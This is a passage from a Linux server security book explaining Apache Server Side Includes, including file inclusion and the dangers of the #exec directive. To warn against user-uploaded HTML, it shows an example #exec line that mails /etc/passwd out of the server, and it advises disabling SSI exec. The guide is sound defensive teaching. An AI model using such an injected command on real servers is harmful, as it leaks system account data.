Linux Server Security, Second Edition

This is the Title of the Book, eMatter Edition

Copyright © 2007 O’Reilly & Associates, Inc. All rights reserved.

Web Content

|

329

Including files

The most basic use of SSI is for inclusion of static files. For example, a site can

include a standard header and footer on each page:

<!--#include virtual="header.html"-->

. . . variable content goes here . . .

<!--#include virtual="footer.html"-->

You can also include the output of a local CGI script by giving its relative URL:

<!--#include virtual="/cgi-bin/script"-->

Executing commands

If Options Includes is set, you can also execute any external command on the web

server, which is quite dangerous. The following is a benign example:

<!--#exec cmd="ls -l /"-->

SSI can’t get arguments from the client, so any command and arguments are fixed.

Since you specify the commands, you might feel safe. However, anyone with write

access to /ssi_dir could upload an HTML file containing an SSI

#exec string:

<!--#exec cmd="mail [e-mail] < /etc/passwd"-->

If you allow people to upload HTML (say, in a guestbook application), you should

forbid SSI execution in the target directory and untaint the input (see the “Process-

ing Forms” section).

Similar vulnerabilities have been seen in utilities that create HTML, such as email

digesters and web-log analyzers. If you must have SSI but don’t need executable

external commands, always exclude them:

<Location /ssi_dir>

Options ...